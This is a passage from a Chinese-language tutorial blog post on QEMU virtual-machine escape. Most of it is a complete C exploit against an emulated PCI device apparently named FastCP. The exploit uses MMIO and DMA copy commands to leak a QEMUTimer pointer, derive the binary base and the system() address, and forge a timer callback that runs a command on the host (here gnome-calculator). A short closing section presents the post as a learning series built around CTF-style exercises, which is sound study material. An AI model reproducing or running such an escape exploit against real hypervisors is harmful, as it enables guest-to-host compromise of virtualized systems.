return gfn;
}
uint64_t gva_to_gpa(void* addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void fastcp_set_list_src(uint64_t list_addr)
{
mmio_write(0x8, list_addr);
}
void fastcp_set_cnt(uint64_t cnt)
{
mmio_write(0x10, cnt);
}
void fastcp_do_cmd(uint64_t cmd)
{
mmio_write(0x18, cmd);
}
void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
{
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = NULL;
info.CP_dst = addr;
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(4);
sleep(1);
}
void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
{
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = addr;
info.CP_dst = NULL;
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(2);
sleep(1);
}
void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
{
struct FastCP_CP_INFO info[0x11];
for (int i = 0; i < 0x11; i++)
{
info[i].CP_cnt = len;
info[i].CP_src = srcaddr;
info[i].CP_dst = dstaddr;
}
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(0x11);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(1);
sleep(1);
}
int main(int argc, char* argv[])
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: %p\n", mmio_mem);
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap userbuf failed");
mlock(userbuf, 0x10000);
phy_userbuf = gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n", userbuf);
printf("user buff physical address: %p\n", (void*)phy_userbuf);
fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
fastcp_do_readfrombuffer(phy_userbuf, 0x30);
uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
printf("leaking timer: %p\n", (void*)leak_timer);
fastcp_set_cnt(1);
uint64_t pie_base = leak_timer - 0x4dce80;
printf("pie_base: %p\n", (void*)pie_base);
uint64_t system_plt = pie_base + 0x2C2180;
printf("system_plt: %p\n", (void*)system_plt);
uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
struct QEMUTimer timer;
memset(&timer, 0, sizeof(timer));
timer.expire_time = 0xffffffffffffffff;
timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
timer.cb = system_plt;
timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30;
strcpy(&timer.shell, "gnome-calculator");
memcpy(userbuf + 0x1000, &timer, sizeof(timer));
fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
fastcp_do_cmd(1);
return 0;
}
執行 EXP 后成功在主機中彈出計算器

03 結語
感謝你的耐心閱讀,如果前文中的內容都細看了,那么我相信應該對 QEMU、PCI 設備以及 QEMU 逃逸的過程已經有一個比較深入理解了。
這篇作為 QEMU 逃逸初探文章的第一篇,主要是介紹了 QEMU 的基礎知識。但是學習過程只有理論而脫離實踐是無法真正學習到知識的,之后的幾篇內容都會以實戰題目為主要內容來逐步的學習 QEMU 逃逸,也希望讀者可以跟著文章中的介紹來動手操作一番。
同時,因為作者的水平有限,我也是在寫文章的過程中去學習,文章中的很多代碼和圖片都來源于參考資料中,雖然我已經盡力的查閱大量的資料去檢驗內容的正確性,但是很難保證在文章中不出現錯誤。其中存在著一些主觀的理解,這些理解的正確性還需要在之后的實踐中來驗證。這一點希望讀者諒解,也希望發現錯誤的讀者能夠在評論區告知我以便修正。